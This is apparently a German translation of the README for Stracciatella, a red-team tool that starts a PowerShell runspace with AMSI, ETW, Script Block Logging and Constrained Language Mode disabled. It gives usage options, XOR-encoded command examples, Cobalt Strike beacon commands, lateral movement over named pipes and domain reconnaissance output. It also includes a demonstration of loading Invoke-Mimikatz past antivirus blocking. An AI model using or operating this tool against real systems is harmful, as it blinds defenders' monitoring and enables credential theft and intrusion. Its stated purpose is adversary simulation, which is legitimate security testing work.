
OpSec-sicherer PowerShell-Runspace aus C# heraus (alias SharpPick) mit deaktiviertem AMSI, Constrained Language Mode und Script Block Logging beim Start
Powershell-Runspace aus C# (auch bekannt als SharpPick-Technik) mit deaktiviertem AMSI, ETW und Script Block Logging für Ihr Vergnügen.
Heutzutage, wo PowerShell durch Techniken wie:
stark überwacht wird, müssen fortgeschrittene Angreifer Wege finden, diese Bemühungen zu umgehen, um anspruchsvolle adversarial Simulationen durchzuführen. Um bei diesen Bemühungen zu helfen, wurde folgendes Projekt erstellt.
Dieses Programm baut auf Umgehungen für spezifische Techniken auf, die in folgenden enthalten sind:
Welche wiederum auf folgenden Forschungen basieren:
Die SharpPick-Idee, PowerShell-Skripte aus einer C#-Assembly mithilfe von Runspaces zu starten, ist ebenfalls nicht neu und wurde erstmals von Lee Christensen (@tifkin_) in seinem:
implementiert.
Außerdem entlehnt der Quellcode die Implementierung von CustomPSHost von Lee.
Dieses Projekt erbt von den oben genannten Forschungen und der großartigen Sicherheits-Community, um eine nahezu effektive PowerShell-Umgebung mit beim Start deaktivierten Sicherheitsvorkehrungen bereitzustellen.
Lässt sich jetzt einfach mit .NET 4.0 kompilieren, während bei Kompilierung mit .NET Framework 4.7.1+ eine zusätzliche Funktionalität enthalten ist, die das Entladen von DLLs, die CLM-Umgehungsartefakte darstellen, ermöglicht und versucht, diese anschließend zu löschen (funktioniert ehrlich gesagt kaum).
Die beste Laufleistung erzielt man mit Stracciatella, kompiliert mit .NET 4.0.
Es stehen mehrere Optionen zur Verfügung:
PS D:\> Stracciatella -h
:: Stracciatella - Powershell runspace with AMSI, ETW and Script Block Logging disabled.
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
Usage: stracciatella.exe [options] [command]
-s <path>, --script <path> - Path to file containing Powershell script to execute. If not options given, will enter
a pseudo-shell loop. This can be also a HTTP(S) URL to download & execute powershell script.
-v, --verbose - Prints verbose informations
-n, --nocleanup - Don't remove CLM disable leftovers (DLL files in TEMP and COM registry keys).
By default these are going to be always removed.
-C, --leaveclm - Don't attempt to disable CLM. Stealthier. Will avoid leaving CLM disable artefacts undeleted.
-f, --force - Proceed with execution even if Powershell defenses were not disabled.
By default we bail out on failure.
-c, --command - Executes the specified commands You can either use -c or append commands after
stracciatella parameters: cmd> straciatella ipconfig /all
If command and script parameters were given, executes command after running script.
-x <key>, --xor <key> - Consider input as XOR encoded, where <key> is a one byte key in decimal
(prefix with 0x for hex)
-p <name>, --pipe <name> - Read powershell commands from a specified named pipe. Command must be preceded with 4 bytes of
its length coded in little-endian (Length-Value notation).
-t <millisecs>, --timeout <millisecs>
- Specifies timeout for pipe read operation (in milliseconds). Default: 60 secs. 0 - infinite.
-e, --cmdalsoencoded - Consider input command (specified in '--command') encoded as well.
Decodes input command after decoding and running input script file.
By default we only decode input file and consider command given in plaintext
Das Programm akzeptiert einen Befehl und einen Skriptdateipfad als Eingabe. Beide sind optional; wenn keine angegeben werden, wird eine Pseudo-Shell gestartet. Sowohl Befehl als auch Skript können mit Einzelbyte-XOR (Ausgabe in Base64-codiert) für eine bessere OpSec-Erfahrung codiert werden.
Hier sind einige Beispiele für die Verwendung:
PS D:\> Stracciatella.exe -v
:: Stracciatella - Powershell runspace with AMSI, ETW and Script Block Logging disabled.
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
[.] Powershell's version: 5.1
[.] Language Mode: FullLanguage
[+] No need to disable Constrained Language Mode. Already in FullLanguage.
[+] Script Block Logging Disabled.
[+] AMSI Disabled.
[+] ETW Disabled.
Stracciatella D:\> $PSVersionTable
Name Value
---- -----
PSVersion 5.1.18362.1
PSEdition Desktop
PSCompatibleVersions {1.0, 2.0, 3.0, 4.0...}
BuildVersion 10.0.18362.1
CLRVersion 4.0.30319.42000
WSManStackVersion 3.0
PSRemotingProtocolVersion 2.3
SerializationVersion 1.1.0.1
Zunächst können wir zur Vorbereitung codierter Anweisungen das beigelegte Skript encoder.py verwenden, das wie folgt verwendet werden kann:
PS D:\> python encoder.py -h
usage: encoder.py [options] <command|file>
positional arguments:
command Specifies either a command or script file's path for encoding
optional arguments:
-h, --help show this help message and exit
-x KEY, --xor KEY Specifies command/file XOR encode key (one byte)
-o PATH, --output PATH
(optional) Output file. If not given - will echo output to stdout
PS D:\> python encoder.py -x 0x31 "Write-Host \"It works like a charm!\" ; $ExecutionContext.SessionState.LanguageMode"
ZkNYRVQceV5CRRETeEURRl5DWkIRXVhaVBFQEVJZUENcEBMRChEVdElUUkRFWF5fcl5fRVRJRR9iVEJCWF5fYkVQRVQffVBfVkRQVlR8XlVU
Dann übergeben wir die Ausgabe von encoder.py als codierten Befehl an Stracciatella:
PS D:\> Stracciatella.exe -v -x 0x31 -c "ZkNYRVQceV5CRRETeEURRl5DWkIRXVhaVBFQEVJZUENcEBMRChEVdElUUkRFWF5fcl5fRVRJRR9iVEJCWF5fYkVQRVQffVBfVkRQVlR8XlVU" .\Test2.ps1
:: Stracciatella - Powershell runspace with AMSI, ETW and Script Block Logging disabled.
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
[.] Will load script file: '.\Test2.ps1'
[+] AMSI Disabled.
[+] ETW Disabled.
[+] Script Block Logging Disabled.
[.] Language Mode: FullLanguage
PS> & '.\Test2.ps1'
PS> Write-Host "It works like a charm!" ; $ExecutionContext.SessionState.LanguageMode
[+] Yeeey, it really worked.
It works like a charm!
FullLanguage
Wobei:
Command bestand aus folgenden Befehlen: Base64Encode(XorEncode("Write-Host \"It works like a charm!\" ; $ExecutionContext.SessionState.LanguageMode", 0x31))Test2.ps1 enthielt: "ZkNYRVQceV5CRRETahpsEWhUVFRIHRFYRRFDVFBdXUgRRl5DWlRVHxM=" (Base64(XorEncode("Write-Host \"[+] Yeeey, it really worked.\"", 0x31)))Stracciatella wird mit einem Aggressor-Skript ausgeliefert, das nach dem Laden den Befehl stracciatella in der Beacon-Konsole bereitstellt. Die Verwendung ist weitgehend ähnlich wie powerpick (durch vorheriges Importieren von PowerShell-Skripten über stracciatella-import). Der Eingabeparameter wird mit einem zufälligen Schlüssel XOR-codiert und über eine zufällig benannte Pipe an den Stracciatella-Runspace übergeben.
Folgende Cobalt Strike-Befehle sind verfügbar:
Eine der Strategien für die Arbeit mit Stracciatella könnte darin bestehen, ein ausreichend langes Pipe-Read-Timeout zu konfigurieren (1), es auf einem entfernten Rechner auszuführen (2) und so die Möglichkeit für laterale Bewegungen über Named Pipes mit Hilfe von Stracciatella zu haben.
Der Vorteil gegenüber powerpick ist, dass Stracciatella AMSI.dll nicht so patcht wie Powerpick (AmsiScanBuffer-Patch), wodurch potenziell weniger forensische Spuren entstehen, wie sie von EDRs gesehen werden, die nach In-Memory-Patches suchen. Außerdem wird Stracciatella schließlich in der Lage sein, den Eingeschränkten Sprachmodus (Constrained Language Mode) stabil zu umgehen, was derzeit mit powerpick nicht möglich ist.:
beacon> stracciatella-import PowerView.ps1
[+] host called home, sent: 143784 bytes
beacon> stracciatella Get-Domain
[*] Tasked Beacon to run Stracciatella: Get-Domain
[+] host called home, sent: 264483 bytes
[+] received output:
Forest : contoso.local
DomainControllers : {dc.contoso.local}
Children : {us.eu.contoso.local}
DomainMode : Unknown
DomainModeLevel : 7
Parent : contoso.local
PdcRoleOwner : dc.eu.contoso.local
RidRoleOwner : dc.eu.contoso.local
InfrastructureRoleOwner : dc.eu.contoso.local
Name : eu.contoso.local
Schließlich kann Stracciatella leicht von anderen Tools/C2s verwendet werden, die keine Funktionalität zur Umgehung von PowerShell-Schutzmaßnahmen bieten.
Wenn stracciatella den Fehler 2 (ERROR_FILE_NOT_FOUND) zurückgibt, liegt das daran, dass Stracciatella ein Timeout hatte, während intern auf Daten gewartet wurde, die in seine Named Pipe geschrieben werden sollten.
beacon> stracciatella Resolve-IPAddress dc1.bank.corp
[*] Tasked Beacon to run Stracciatella: Resolve-IPAddress dc1.bank.corp
[+] [11/02 03:32:50] host called home, sent: 1007245 bytes
[+] [11/02 03:33:13] host called home, sent: 191805 bytes
[-] Could not connect to pipe (\\.\pipe\85f2acfe-2ca9-4364-af08-f1c654966c1a): 2.
Dies kann jedoch behoben werden, indem der Timeout-Parameter von Stracciatella angepasst wird mit:
beacon> stracciatella-timeout 600000
beacon> stracciatella Resolve-IPAddress dc1.bank.corp
[*] Tasked Beacon to run Stracciatella: Resolve-IPAddress dc1.bank.corp
[+] [11/02 04:01:11] host called home, sent: 1007265 bytes
[+] [11/02 04:01:33] host called home, sent: 191805 bytes
[+] received output:
ComputerName IPAddress
------------ ---------
dc1.bank.corp 10.10.10.5
Das zugehörige Aggressor-Skript nutzt interne Beacon-Routinen, um in eine zufällig benannte Pipe zu schreiben, die am anderen Ende von der Stracciatella-Logik abgehört wird. Das empfangende Ende wartet für eine gewisse Zeit (--timeout Parameter in Stracciatellas Optionen, Standard 60 Sekunden) auf eingehende Daten; wenn keine ankommen, tritt ein Timeout auf und es wird sanft abgebrochen. Anderenfalls werden die empfangenen Befehle dekodiert und wie gewohnt ausgeführt.
Manchmal haben wir PowerShell-Skripte, die keine Funktionen exponieren oder reflektiv .NET-Module laden, die wir aus einer PowerShell-Laufzeit aufrufen möchten. Um diesen Anwendungsfall zu ermöglichen, kann der Beacon-Befehl stracciatella-script <scriptpath> <command verwendet werden. Er liest die angegebene PowerShell-Skriptdatei und hängt den angegebenen <command> (durch Semikolon getrennt) an dieses Skript an.
Das Aggressor-Skript (CNA) von Stracciatella erkennt, ob BOF.NET geladen ist, und stellt dann einen Befehl bereit:
bofnet_loadstracciatella
Der bofnet_load stracciatella.exe ausgibt. Zusätzlich wird Stracciatella dann über bofnet_jobassembly anstelle von Cobolts eingebautem execute-assembly ausgeführt.
Dieses Verhalten kann durch Ändern der globalen Variable im Skript stracciatella.cna angepasst werden:
#
# If there's BOF.NET loaded in Cobalt Strike, prefer `bofnet_jobassembly` command over `execute-assembly`.
# This is useful when we want to switch our tactics to running inline/in-process via BOF.NET instead of fork & run.
#
$FAVOR_BOFNET_INSTEAD_OF_EXECUTE_ASSEMBLY = "true";
Durch die Verwendung von Reflection, wie von Matt Graeber entdeckt, aber der Ansatz des Programms wurde leicht modifiziert. Anstatt auf Symbole anhand ihres Namens zu verweisen, wie "amsiInitFailed", suchen wir sie, indem wir jede Assembly, Methode, jeden Typ und jedes Feld durchgehen, die reflektiv abrufbar sind. Dann deaktivieren wir AMSI durch die Manipulation nicht-öffentlicher & statischer Variablen in der Management.Automation-Assembly. Gleiches gilt für Script Block Logging, wobei hier einige Ideen auf den Forschungen von Ryan Cobb (@cobbr) basieren.
Tatsächlich verwendet Stracciatella die gleiche Implementierung, die bereits in den oben genannten Disable-*.ps1-Dateien von mir behandelt wurde.
Außerdem versuchen wir nicht, amsi.dll zu patchen, das ist etwas zu laut und könnte in naher Zukunft von EDRs/HIPS/AVs genau überwacht werden. Die Integrität von Systembibliotheken zu beschädigen, ist definitiv nachteilig im Vergleich zur Beeinflussung reflektiver Variablen.
Invoke-Mimikatz, ja?Natürlich, hier bitte:
PS D:\> "amsiInitFailed"
At line:1 char:1
+ "amsiInitFailed"
+ ~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent
PS D:\> . .\Invoke-Mimikatz.ps1
At line:1 char:1
+ . .\Invoke-Mimikatz.ps1
+ ~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent
PS D:\> .\Stracciatella.exe -v
:: Stracciatella - Powershell runspace with AMSI and Script Block Logging disabled.
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
[-] It looks like no script path was given.
[+] AMSI Disabled.
[+] ETW Disabled.
[+] Script Block Logging Disabled.
[.] Language Mode: FullLanguage
Stracciatella D:\> . .\Invoke-Mimikatz.ps1
Stracciatella D:\> Invoke-Mimikatz -Command "coffee exit"
.#####. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
.## ^ ##. "A La Vie, A L'Amour"
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( [email protected] )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 20 modules * * */
mimikatz(powershell) # coffee
( (
) )
.______.
| |]
\ /
`----'
mimikatz(powershell) # exit
Bye!
Derzeit ist die Art und Weise, wie Stracciatella einen Runspace für PowerShell-Befehle bereitstellt, nicht die heimlichste. Wir erstellen im Grunde einen PowerShell-Runspace, der die entsprechende .NET-Assembly lädt. Dies könnte als Hinweis darauf gewertet werden, dass der Stracciatella-Prozess etwas fragwürdig ist.
Dieses und andere Projekte sind das Ergebnis schlafloser Nächte und viel harter Arbeit. Wenn Ihnen gefällt, was ich tue, und Sie schätzen, dass ich immer etwas an die Community zurückgebe, Kaufen Sie mir einen Kaffee (oder besser ein Bier) nur um Danke zu sagen! 💪
Mariusz Banach / mgeeky, '20-22
<mb [at] binary-offensive.com>
(https://github.com/mgeeky)
| Cobalt Strike-Befehl | Beschreibung |
|---|
stracciatella [-v] <command> | Führt die angegebenen Befehle aus |
stracciatella-remote [-v] <machine> <pipename> <command> | Führt die angegebenen Befehle auf einem entfernten Rechner über eine bestimmte Pipe aus |
stracciatella-import <scriptpath> | Importiert ein PowerShell-Skript zur Verwendung mit Stracciatella |
stracciatella-script <scriptpath> <command> | Lädt einen PowerShell-Befehl mit einem angegebenen PowerShell-Skript (.ps1) vor (Kombination aus stracciatella-import und stracciatella in einem Vorgang) |
stracciatella-clear | Löscht das importierte Skript auf diesem Beacon |
stracciatella-timeout <milliseconds> | Passt das Standard-Timeouts für das Lesen benannter Pipes an |
bofnet_loadstracciatella | Lädt Stracciatella.exe in BOF.NET (falls verwendet) |
bofnet_stracciatella <command> | (Nicht blockierend) Führt PowerShell-Befehle in einem sicheren Stracciatella-Runspace über BOF.NET bofnet_jobassembly aus |
bofnet_executestracciatella <command> | (Blockierend) Führt PowerShell-Befehle in einem sicheren Stracciatella-Runspace über BOF.NET bofnet_executeassembly aus |
bofnet_stracciatella_script <scriptpath> <command> | Lädt ein bestimmtes PowerShell-Skript vor und führt den angegebenen Befehl mit Parametern aus (über BOF.NET) |